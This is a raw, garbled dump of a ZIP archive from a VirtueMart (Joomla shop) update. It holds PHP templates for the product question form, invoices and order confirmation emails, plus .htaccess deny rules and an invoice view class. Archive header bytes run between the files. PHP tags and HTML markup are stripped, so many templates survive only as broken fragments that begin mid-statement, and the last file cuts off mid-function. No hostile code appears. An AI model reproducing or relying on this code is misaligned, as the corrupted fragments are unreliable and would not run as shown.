          ' . JText::_ ('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef ('continue_link_html', $continue_link_html); // Display it all parent::display ($tpl); } } // pure php no closing tagPKtl>\Lcom_virtuemart_update/components/com_virtuemart/views/askquestion/index.htmlnuW+APKtl>\Ncom_virtuemart_update/components/com_virtuemart/views/askquestion/metadata.xmlnuW+A PKtl>\"jp\com_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/mail_raw_question.phpnuW+Avendor->vendor_store_name) . "\n" . "\n"; echo JText::_('COM_VIRTUEMART_QUESTION_ABOUT') . ' '. $this->product->product_name; if ($this->product->product_sku) echo ' ('.JText::_('COM_VIRTUEMART_PRODUCT_SKU').' '.$this->product->product_sku .')' ; echo "\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_QUESTION_MAIL_FROM', $this->user->name, $this->user->email) . "\n"; echo $this->comment. "\n"; PKtl>\Qcom_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/index.htmlnuW+APKtl>\GOOYcom_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/mail_confirmed.phpnuW+A
          PKtl>\)Pcom_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\s= ]com_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/mail_html_question.phpnuW+A
          PKtl>\*Ocom_virtuemart_update/components/com_virtuemart/views/askquestion/tmpl/form.phpnuW+AaddScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

          ' . $this->continue_link_html; } else { $session = JFactory::getSession(); $askQuestionData = $session->get('askquestion', 0, 'vm'); if(!empty($this->login)){ echo $this->login; } if(empty($this->login) or VmConfig::get('recommend_unauth',false)){ ?>

          product->product_name ?>

          product->product_s_desc)) { ?>
          product->product_s_desc ?>
          product->images[0]->displayMediaThumb('class="product-image"',false); ?>
          trigger('onInit','dynamic_recaptcha_1'); ?>
          PKtl>\)Kcom_virtuemart_update/components/com_virtuemart/views/askquestion/.htaccessnuW+A Order allow,deny Deny from all PKtl>\HeWcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_footer.phpnuW+Avendor)) { $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(); } //$link = shopFunctionsF::getRootRoutedUrl('index.php?option=com_virtuemart'); $link = JURI::root().'index.php?option=com_virtuemart'; echo '

          '; //$link=''.JHTML::_('link', JURI::root().$link, $this->vendor->vendor_name).' '; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
          '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . ''.$this->vendor->vendor_name.''; echo '
          '; echo $this->vendor->vendor_name .'
          '.$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name .'
          '.$this->vendor->vendor_store_desc.'
          '; ?> vendor->vendor_letter_footer == 1) { ?> vendor->vendor_letter_footer_line == 1) { ?>
          PKtl>\B Ncom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/invoice.phpnuW+A_layout == "invoice") { $document = JFactory::getDocument(); $document->setTitle(JText::_('COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER') . ' ' . $this->orderDetails['details']['BT']->order_number . ' ' . $this->vendor->vendor_store_name); //$document->setName( JText::_('COM_VIRTUEMART_ACC_ORDER_INFO').' '.$this->orderDetails['details']['BT']->order_number); //$document->setDescription( JText::_('COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER').' '.$this->orderDetails['details']['BT']->order_number); } if ($this->headFooter) { ?>
          format=="html")?$this->replaceVendorFields($this->vendor->vendor_letter_header_html, $this->vendor):$this->vendor->vendor_letter_header_html; ?>
          vendor->vendor_store_desc.'
          '; /* foreach($this->vendorAddress as $userfields){ foreach($userfields['fields'] as $item){ if(!empty($item['value'])){ if($item['name']==='agreed'){ $item['value'] = ($item['value']===0) ? JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO'):JText::_('COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES'); } ?> escape($item['value']) ?>
          print) { ?>
          loadTemplate('order'); ?>
          print) { echo $this->loadTemplate('items'); } else { // NOT in print mode, full HTML view for a browser: $tabarray = array('items'=>'COM_VIRTUEMART_ORDER_ITEM', 'history'=>'COM_VIRTUEMART_ORDER_HISTORY'); shopFunctionsF::buildTabs( $this, $tabarray); } ?>


          headFooter) { echo ($this->format=="html")?$this->replaceVendorFields($this->vendor->vendor_letter_footer_html, $this->vendor):$this->vendor->vendor_letter_footer_html; } if ($this->vendor->vendor_letter_add_tos) {?>
          vendor->vendor_letter_add_tos_newpage) { ?> style="page-break-before: always"> vendor->vendor_terms_of_service; ?>
          print) { ?> PKtl>\BTTZcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_pricelist.phpnuW+AgetLayout(); $this->setLayout('invoice'); echo $this->loadTemplate('items'); $this->setLayout($oldlayout); PKtl>\%\com_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_vendor_more.phpnuW+A PKtl>\p533Vcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/invoice_history.phpnuW+A orderDetails['history'] as $_hist) { if (!$_hist->customer_notified) { continue; } ?>
          created_on, 'LC4', true); ?> orderstatuses[$_hist->order_status_code]; ?> comments; ?>
          PKtl>\aOcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw.phpnuW+ABTaddress, take a look for an exampel at shopper_adresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?> loadTemplate('header'); // Message for shopper or vendor echo $this->loadTemplate('shopper'); // render shipto billto adresses echo $this->loadTemplate('shopperaddresses'); // render price list echo $this->loadTemplate('pricelist'); //dump($salesPriceShipment , 'rawmail'); // more infos //echo $this->loadTemplate($this->recipient.'_more'); // end of mail echo $this->loadTemplate('footer'); ?> PKtl>\&Ycom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw_pricelist.phpnuW+AsetEscape('htmlspecialchars'); // TODO Temp fix !!!!! *********************************>>> //$skuPrint = echo sprintf( "%64.64s",strtoupper (JText::_('COM_VIRTUEMART_SKU') ) ) ; // Head of table echo strip_tags(JText::sprintf('COM_VIRTUEMART_ORDER_PRINT_TOTAL', $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency))) . "\n"; echo sprintf("%'-64.64s", '') . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_ITEM') . "\n"; foreach ($this->orderDetails['items'] as $item) { echo "\n"; echo $item->product_quantity . ' X ' . $item->order_item_name . ' (' . strtoupper(JText::_('COM_VIRTUEMART_SKU')) . $item->order_item_sku . ')' . "\n"; if (!empty($item->product_attribute)) { if (!class_exists('VirtueMartModelCustomfields')) require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item, 'FE'); echo "\n" . $product_attribute . "\n"; } if (!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price) { echo $item->product_basePriceWithTax . "\n"; } echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . $item->product_final_price; if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX') . ':' . $this->currency->priceDisplay($item->product_tax,$this->currency) . ')' . "\n"; } echo "\n"; } echo sprintf("%'-64.64s", ''); echo "\n"; // Coupon if (!empty($this->orderDetails['details']['BT']->coupon_code)) { echo JText::_('COM_VIRTUEMART_COUPON_DISCOUNT') . ':' . $this->orderDetails['details']['BT']->coupon_code . ' ' . JText::_('COM_VIRTUEMART_PRICE') . ':' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->coupon_discount,$this->currency); echo "\n"; } foreach ($this->orderDetails['calc_rules'] as $rule) { if ($rule->calc_kind == 'DBTaxRulesBill') { echo $rule->calc_rule_name . $this->currency->priceDisplay($rule->calc_amount, $this->currency) . "\n"; } elseif ($rule->calc_kind == 'taxRulesBill') { echo $rule->calc_rule_name . ' ' . $this->currency->priceDisplay($rule->calc_amount,$this->currency) . "\n"; } elseif ($rule->calc_kind == 'DATaxRulesBill') { echo $rule->calc_rule_name . ' ' . $this->currency->priceDisplay($rule->calc_amount,$this->currency) . "\n"; } } echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_SHIPPING')) . ' (' . strip_tags(str_replace("
          ", "\n", $this->orderDetails['shipmentName'])) . ' ) ' . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_shipment,$this->currency); if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_shipment_tax,$this->currency) . ')'; } echo "\n"; echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_PAYMENT')) . ' (' . strip_tags(str_replace("
          ", "\n", $this->orderDetails['paymentName'])) . ' ) ' . "\n"; echo JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL') . ':' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_payment,$this->currency); if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_payment_tax,$this->currency) . ')'; } echo "\n"; echo sprintf("%'-64.64s", '') . "\n"; // total order echo JText::_('COM_VIRTUEMART_MAIL_SUBTOTAL_DISCOUNT_AMOUNT') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_billDiscountAmount,$this->currency) . "\n"; echo strtoupper(JText::_('COM_VIRTUEMART_ORDER_PRINT_TOTAL')) . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency) . "\n"; if (VmConfig::get('show_tax')) { echo ' (' . JText::_('COM_VIRTUEMART_ORDER_PRINT_TAX') . ' : ' . $this->currency->priceDisplay($this->orderDetails['details']['BT']->order_billTaxAmount,$this->currency) . ')' . "\n"; } echo "\n"; PKtl>\ C:L L Xcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_shopper.phpnuW+ABTaddress['fields'], take a look for an exampel at shopper_adresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress['fields']). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?> orderDetails['history']); if($this->orderDetails['history'][$nb-1]->customer_notified && !(empty($this->orderDetails['history'][$nb-1]->comments))) { ?> orderDetails['details']['BT']->customer_note)){ ?> PKtl>\͔Wcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_vendor.phpnuW+A PKtl>\)Lcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKtl>\OPcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html.phpnuW+ABTaddress, take a look for an exampel at shopper_adresses.php * * With $this->orderDetails['shipmentName'] or paymentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); ?>
          recipient == 'shopper') { echo $this->loadTemplate('header'); } // Message for shopper or vendor echo $this->loadTemplate($this->recipient); // render shipto billto adresses echo $this->loadTemplate('shopperaddresses'); // render price list echo $this->loadTemplate('pricelist'); // more infos echo $this->loadTemplate($this->recipient . '_more'); // end of mail echo $this->loadTemplate('footer'); ?>
          PKtl>\Ш҅((Tcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/invoice_items.phpnuW+Adoctype != 'invoice') { $colspan -= 4; } elseif ( ! VmConfig::get('show_tax')) { $colspan -= 1; } ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> orderDetails['details']['BT']->order_language); foreach($this->orderDetails['items'] as $item) { $qtt = $item->product_quantity ; $product_link = JURI::root().'index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $item->virtuemart_category_id . '&virtuemart_product_id=' . $item->virtuemart_product_id . '&Itemid=' . $menuItemID; ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> doctype == 'invoice') { ?> orderDetails['details']['BT']->coupon_discount <> 0.00) { $coupon_code=$this->orderDetails['details']['BT']->coupon_code?' ('.$this->orderDetails['details']['BT']->coupon_code.')':''; ?> orderDetails['calc_rules'] as $rule){ if ($rule->calc_kind== 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?> PKtl>\dd`com_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw_shopperaddresses.phpnuW+Auserfields['fields'] as $field) { if(!empty($field['value'])){ echo $field['title'].': '.$this->escape($field['value'])."\n"; } } echo "\n"; echo JText::_('COM_VIRTUEMART_USER_FORM_SHIPTO_LBL'). "\n"; echo sprintf("%'-64.64s",''); echo "\n"; foreach ($this->shipmentfields['fields'] as $field) { if(!empty($field['value'])){ echo $field['title'].': '.$this->escape($field['value'])."\n"; } } echo "\n";PKtl>\K9̨ppTcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/invoice_order.phpnuW+A doctype == 'invoice') { if ($this->invoiceNumber) { ?>

          invoiceNumber; ?>

          doctype == 'deliverynote') { ?>

          doctype == 'confirmation') { ?>

          invoiceNumber) { ?> orderDetails['details']['BT']->delivery_date)) { ?> orderDetails['details']['BT']->customer_note) { ?> doctype == 'invoice') { ?>
          invoiceDate, 'LC4', true); ?>
          orderDetails['details']['BT']->delivery_date ?>
          orderDetails['details']['BT']->order_number; ?>
          orderDetails['details']['BT']->created_on, 'LC4', true); ?>
          orderstatuses[$this->orderDetails['details']['BT']->order_status]; ?>
          orderDetails['shipmentName']; ?>
          orderDetails['paymentName']; ?>
          orderDetails['details']['BT']->customer_note; ?>
          currency->priceDisplay($this->orderDetails['details']['BT']->order_total,$this->currency); ?>

          userfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
          ' . $field['title'] . '' . $field['value'] . '

          shipmentfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
          ' . $field['title'] . '' . $field['value'] . '
          PKtl>\' ']com_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_shopper_more.phpnuW+A PKtl>\)$< < Wcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw_shopper.phpnuW+ABTaddress, take a look for an exampel at shopperadresses.php * * With $this->cartData->paymentName or shipmentName, you get the name of the used paymentmethod/shippmentmethod * * In the array order you have details and items ($this->orderDetails['details']), the items gather the products, but that is done directly from the cart data * * $this->orderDetails['details'] contains the raw address data (use the formatted ones, like BTaddress). Interesting informatin here is, * order_number ($this->orderDetails['details']['BT']->order_number), order_pass, coupon_code, order_status, order_status_name, * user_currency_rate, created_on, customer_note, ip_address * * @package VirtueMart * @subpackage Cart * @author Max Milbers, Valerie Isaksen * * @link http://www.virtuemart.net * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php * VirtueMart is free software. This version may have been modified pursuant * to the GNU General Public License, and as distributed it includes or * is derivative of works licensed under the GNU General Public License or * other free or open source software licenses. * */ // Check to ensure this file is included in Joomla! defined('_JEXEC') or die('Restricted access'); echo strip_tags(JText::_('COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER')) . "\n" . "\n"; echo strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_SUMMARY', $this->vendor->vendor_store_name)) . "\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_CONTENT', $this->shopperName, $this->vendor->vendor_store_name, $this->orderDetails['details']['BT']->order_total, $this->orderDetails['details']['BT']->order_number, $this->orderDetails['details']['BT']->order_pass, $this->orderDetails['details']['BT']->created_on) . "\n" . "\n"; echo "\n" . strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_ORDER_STATUS', $this->orderDetails['details']['BT']->order_status_name)); echo "\n\n"; $nb = count($this->orderDetails['history']); if ($this->orderDetails['history'][$nb - 1]->customer_notified && !(empty($this->orderDetails['history'][$nb - 1]->comments))) { echo $this->orderDetails['history'][$nb - 1]->comments; } echo "\n\n"; echo "\n\n"; echo JText::_('COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER_LINK') . ' : ' . JURI::root() . 'index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $this->orderDetails['details']['BT']->order_number . '&order_pass=' . $this->orderDetails['details']['BT']->order_pass . "\n"; if (!empty($this->orderDetails['details']['BT']->customer_note)) { echo "\n" . strip_tags(JText::sprintf('COM_VIRTUEMART_MAIL_SHOPPER_QUESTION', $this->orderDetails['details']['BT']->customer_note)); } echo "\n\n"; //TODO if silent registration logindata //TODO if Paymentmethod needs Bank account data of vendor //We may wish to integrate later a kind of signature PKtl>\DRlVcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw_vendor.phpnuW+AproductName,$this->url); if(!empty($this->orderDetails['details']['BT']->customer_note)) { echo "\n" . JText::sprintf('COM_VIRTUEMART_CART_MAIL_VENDOR_SHOPPER_QUESTION', $this->orderDetails['details']['BT']->customer_note); } echo "\n"; PKtl>\Mcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/index.htmlnuW+APKtl>\`acom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_shopperaddresses.phpnuW+A PKtl>\ďkVcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_raw_footer.phpnuW+Avendor)) { $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor(); } $link = JURI::root(). 'index.php?option=com_virtuemart' ; echo "\n\n"; $link= JHTML::_('link', $link, $this->vendor->vendor_name) ; // echo JText::_('COM_VIRTUEMART_MAIL_VENDOR_TITLE').$this->vendor->vendor_name.'
          '; /* GENERAL FOOTER FOR ALL MAILS */ echo JText::_('COM_VIRTUEMART_MAIL_FOOTER' ) . $link; echo "\n"; echo $this->vendor->vendor_name ."\n".$this->vendor->vendor_phone .' '.$this->vendor->vendor_store_name ."\n".strip_tags($this->vendor->vendor_store_desc)."\n".strip_tags(str_replace('
          ',"\n",$this->replaceVendorFields($this->vendor->vendor_letter_footer_html, $this->vendor))); PKtl>\qO--Wcom_virtuemart_update/components/com_virtuemart/views/invoice/tmpl/mail_html_header.phpnuW+A vendor->vendor_letter_header>0) { ?> vendor->vendor_letter_header_image>0) { ?> vendor->vendor_letter_header_line == 1) { ?> PKtl>\)Gcom_virtuemart_update/components/com_virtuemart/views/invoice/.htaccessnuW+A Order allow,deny Deny from all PKtl>\:\622Kcom_virtuemart_update/components/com_virtuemart/views/invoice/view.html.phpnuW+AsetMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); if(empty($this->uselayout)){ $layout = JRequest::getWord('layout','mail'); } else { $layout = $this->uselayout; } switch ($layout) { case 'invoice': $this->doctype = $layout; $title = JText::_('COM_VIRTUEMART_INVOICE'); break; case 'deliverynote': $this->doctype = $layout; $layout = 'invoice'; $title = JText::_('COM_VIRTUEMART_DELIVERYNOTE'); break; case 'confirmation': $this->doctype = $layout; $layout = 'confirmation'; $title = JText::_('COM_VIRTUEMART_CONFIRMATION'); break; case 'mail': if (VmConfig::get('order_mail_html')) { $layout = 'mail_html'; } else { $layout = 'mail_raw'; } } $this->setLayout($layout); $tmpl = JRequest::getWord('tmpl'); $print = false; if($tmpl){ $print = true; } $this->assignRef('print', $print); $this->format = JRequest::getWord('format','html'); if($layout == 'invoice'){ $document->setTitle( JText::_('COM_VIRTUEMART_INVOICE') ); } $order_print=false; if ($print and $this->format=='html') { $order_print=true; } $orderModel = VmModel::getModel('orders'); $orderDetails = $this->orderDetails; if($orderDetails==0){ $orderDetails = $orderModel ->getMyOrderDetails(); if(!$orderDetails or empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_CART_ORDER_NOTFOUND'); return; } } if(empty($orderDetails['details'])){ echo JText::_('COM_VIRTUEMART_ORDER_NOTFOUND'); return 0; } if(!empty($orderDetails['details']['BT']->order_language)) { VmConfig::loadJLang('com_virtuemart',true, $orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_shoppers',true, $orderDetails['details']['BT']->order_language); VmConfig::loadJLang('com_virtuemart_orders',true, $orderDetails['details']['BT']->order_language); } $this->assignRef('orderDetails', $orderDetails); // if it is order print, invoice number should not be created, either it is there, either it has not been created if(empty($this->invoiceNumber) and !$order_print){ $invoiceNumberDate=array(); if ( $orderModel->createInvoiceNumber($orderDetails['details']['BT'], $invoiceNumberDate)) { if (ShopFunctions::InvoiceNumberReserved( $invoiceNumberDate[0])) { if ($this->uselayout!='mail') { $document->setTitle( JText::_('COM_VIRTUEMART_PAYMENT_INVOICE') ); return ; } } $this->invoiceNumber = $invoiceNumberDate[0]; $this->invoiceDate = $invoiceNumberDate[1]; if(!$this->invoiceNumber or empty($this->invoiceNumber)){ vmError('Cant create pdf, createInvoiceNumber failed'); if ($this->uselayout!='mail') { return ; } } } else { // Could OR should not create Invoice Number, createInvoiceNumber failed if ($this->uselayout!='mail') { return ; } } } //Todo multix $vendorId=1; $emailCurrencyId = $orderDetails['details']['BT']->user_currency_id; $exchangeRate=FALSE; if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $dispatcher->trigger('plgVmgetEmailCurrency',array( $orderDetails['details']['BT']->virtuemart_paymentmethod_id, $orderDetails['details']['BT']->virtuemart_order_id, &$emailCurrencyId)); if(!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance($emailCurrencyId,$vendorId); if ($emailCurrencyId) { $currency->exchangeRateShopper=$orderDetails['details']['BT']->user_currency_rate; } $this->assignRef('currency', $currency); //Create BT address fields $userFieldsModel = VmModel::getModel('userfields'); $_userFields = $userFieldsModel->getUserFields( 'account' , array('captcha' => true, 'delimiters' => true) // Ignore these types , array('delimiter_userinfo','user_is_vendor' ,'username','password', 'password2', 'agreed', 'address_type') // Skips ); $userfields = $userFieldsModel->getUserFieldsFilled( $_userFields ,$orderDetails['details']['BT']); $this->assignRef('userfields', $userfields); //Create ST address fields $orderst = (array_key_exists('ST', $orderDetails['details'])) ? $orderDetails['details']['ST'] : $orderDetails['details']['BT']; $shipmentFieldset = $userFieldsModel->getUserFields( 'shipment' , array() // Default switches , array('delimiter_userinfo', 'username', 'email', 'password', 'password2', 'agreed', 'address_type') // Skips ); $shipmentfields = $userFieldsModel->getUserFieldsFilled( $shipmentFieldset ,$orderst ); $this->assignRef('shipmentfields', $shipmentfields); $civility=""; foreach ($userfields['fields'] as $field) { if ($field['name']=="title") { $civility=$field['value']; break; } } $company= empty($orderDetails['details']['BT']->company) ?"":$orderDetails['details']['BT']->company.", "; $shopperName = $company. $civility.' '.$orderDetails['details']['BT']->first_name.' '.$orderDetails['details']['BT']->last_name; $this->assignRef('shopperName', $shopperName); $this->assignRef('civility', $civility); // Create an array to allow orderlinestatuses to be translated // We'll probably want to put this somewhere in ShopFunctions.. $orderStatusModel = VmModel::getModel('orderstatus'); $_orderstatuses = $orderStatusModel->getOrderStatusList(); $orderstatuses = array(); foreach ($_orderstatuses as $_ordstat) { $orderstatuses[$_ordstat->order_status_code] = JText::_($_ordstat->order_status_name); } $this->assignRef('orderstatuslist', $orderstatuses); $this->assignRef('orderstatuses', $orderstatuses); $_itemStatusUpdateFields = array(); $_itemAttributesUpdateFields = array(); foreach($orderDetails['items'] as $_item) { // $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = JHTML::_('select.genericlist', $orderstatuses, "item_id[".$_item->virtuemart_order_item_id."][order_status]", 'class="selectItemStatusCode"', 'order_status_code', 'order_status_name', $_item->order_status, 'order_item_status'.$_item->virtuemart_order_item_id,true); $_itemStatusUpdateFields[$_item->virtuemart_order_item_id] = $_item->order_status; } if (empty($orderDetails['shipmentName']) ) { if (!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS . DS . 'vmpsplugin.php'); JPluginHelper::importPlugin('vmshipment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEShipment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_shipmentmethod_id, &$orderDetails['shipmentName'])); } if (empty($orderDetails['paymentName']) ) { if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmOnShowOrderFEPayment',array( $orderDetails['details']['BT']->virtuemart_order_id, $orderDetails['details']['BT']->virtuemart_paymentmethod_id, &$orderDetails['paymentName'])); } $virtuemart_vendor_id=1; $vendorModel = VmModel::getModel('vendor'); $vendor = $vendorModel->getVendor($virtuemart_vendor_id); $vendorModel->addImages($vendor); $vendor->vendorFields = $vendorModel->getVendorAddressFields(); if (VmConfig::get ('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_legal_info'); } $this->assignRef('vendor', $vendor); // vmdebug('vendor', $vendor); if (strpos($layout,'mail') !== false) { $lineSeparator="
          "; } else { $lineSeparator="\n"; } $this->assignRef('headFooter', $this->showHeaderFooter); //Attention, this function will be removed, it wont be deleted, but it is obsoloete in any view.html.php if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $vendorAddress= shopFunctions::renderVendorAddress($virtuemart_vendor_id, $lineSeparator); $this->assignRef('vendorAddress', $vendorAddress); $vendorEmail = $vendorModel->getVendorEmail($virtuemart_vendor_id); $vars['vendorEmail'] = $vendorEmail; // this is no setting in BE to change the layout ! //shopFunctionsF::setVmTemplate($this,0,0,$layoutName); //vmdebug('renderMailLayout invoice '.date('H:i:s'),$this->order); if (strpos($layout,'mail') !== false) { if ($this->doVendor) { //Old text key COM_VIRTUEMART_MAIL_SUBJ_VENDOR_C $this->subject = JText::sprintf('COM_VIRTUEMART_MAIL_SUBJ_VENDOR_'.$orderDetails['details']['BT']->order_status, $this->shopperName, strip_tags($currency->priceDisplay($orderDetails['details']['BT']->order_total, $currency)), $orderDetails['details']['BT']->order_number); $recipient = 'vendor'; } else { $this->subject = JText::sprintf('COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_'.$orderDetails['details']['BT']->order_status, $vendor->vendor_store_name, strip_tags($currency->priceDisplay($orderDetails['details']['BT']->order_total, $currency)), $orderDetails['details']['BT']->order_number ); $recipient = 'shopper'; } 